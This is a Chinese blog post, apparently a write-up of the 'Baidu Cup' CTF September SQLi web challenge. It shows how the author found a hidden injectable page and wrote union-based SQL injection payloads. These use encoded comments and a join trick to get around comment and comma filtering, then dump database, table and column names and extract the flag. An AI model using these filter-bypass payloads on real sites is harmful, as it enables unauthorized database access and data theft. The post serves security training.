“百度杯”CTF比赛 九月场-SQLi

“百度杯”CTF比赛 九月场

SQLi:

题目类型:web

题目描述:后台有获取flag的线索,打开靶机得到一个空白的页面:

解题方法:我们得到一个空白的页面,先查看一下网页源码:

得到一条有用的信息,我们访问一下 login.php?id=1 :

在这里进行了各种各样的注入,都没有发现注入点,找不到任何思路,用dirseach来扫一下看看

没有扫出什么有用的东西,用burp来进行抓包看一下:

试着访问index.php看看

这里得到一个url,一眼看上去和开始的那个url一样,但是仔细发现中间有点不一样

./b68a89d1c4a097a9d863 1 b3ac45e8979.php
./b68a89d1c4a097a9d863 l b3ac45e8979.php
一个是1,一个是l

我们访问一下./b68a89d1c4a097a9d863lb3ac45e8979.php:

这里发生了302重定向,而且在消息头page这里发现了l0gin.php?id=1,这里感觉这个可能才是真正的注入点

我们访问l0gin.php?id=1看一下:

果然这里才是SQL真正的注入的地方

我们输入?id=2看一下:

现在来进行SQL注入,第一步先判断一下SQL注入类型:

我们输入?id=2-1看一下它会不会返回id=1的界面,会的话则说明是数字型注入:

不会,说明不是数字型,说明应该是字符型,用单引号来闭合一下试试:

说明是字符型,而且可以用SQL联合注入的方式来进行注入,这里的%23是注释符号#的URL编码,因为在这里输入#和--+都无法进行注释可能被过滤了,就用#的URL编码来试一下,也可以用(--(空格)+一个字符)例如:-- a 这样也可以绕过

第二步判断它的字段数:

?id=1' order by 1%23
?id=1' order by 2%23
?id=1' order by 3%23

当字段为3的时候返回错误,说明只有两个字段

第三步判断它的显示位:

?id=1' union select 1,2%23

返回不正常的页面,我们看一下它返回的信息,发现它把逗号以及后面的内容都过滤了,所以我们要把逗号给它绕过去,在网上查了一下SQL注入逗号被过滤的方法,发现可以用 a join 来进行绕过:

union select 1,2
等价于:
union select * from (select 1)a join (select 2)b

paylaod:

?id=-1' union select * from (select 1)a join (select 2)b%23

这里我们知道它的两个显示位我们都可以利用:

第四步:爆出它的数据库名:

payload:

?id=-1' union select * from (select 1)a join (select database())b %23

第五步:爆出它数据库里面的表名:

paylaod:

?id=-1' union select * from (select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema='sqli')b %23

第六步:爆出它表中的字段名:

payload:

?id=-1' union select * from (select 1)a join (select group_concat(column_name) from information_schema.columns where table_name='users')b %23

爆出了表中所有的字段名,我们看到了敏感信息flag

最后一步,查出flag字段中对应的flag的值:

paylaod:

?id=-1' union select * from (select 1)a join (select group_concat(flag_9c861b688330) from users)b %23

得到了我们要的flag:

flag{d5d3c7bd-e44f-4c2b-af9a-1f2d29e47d9f}

总结:这一次学到了SQL注入时注释符号被过滤时绕过的方法和SQL语句中的逗号被过滤了如何进行绕过!

posted @   张伟文  阅读(71)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示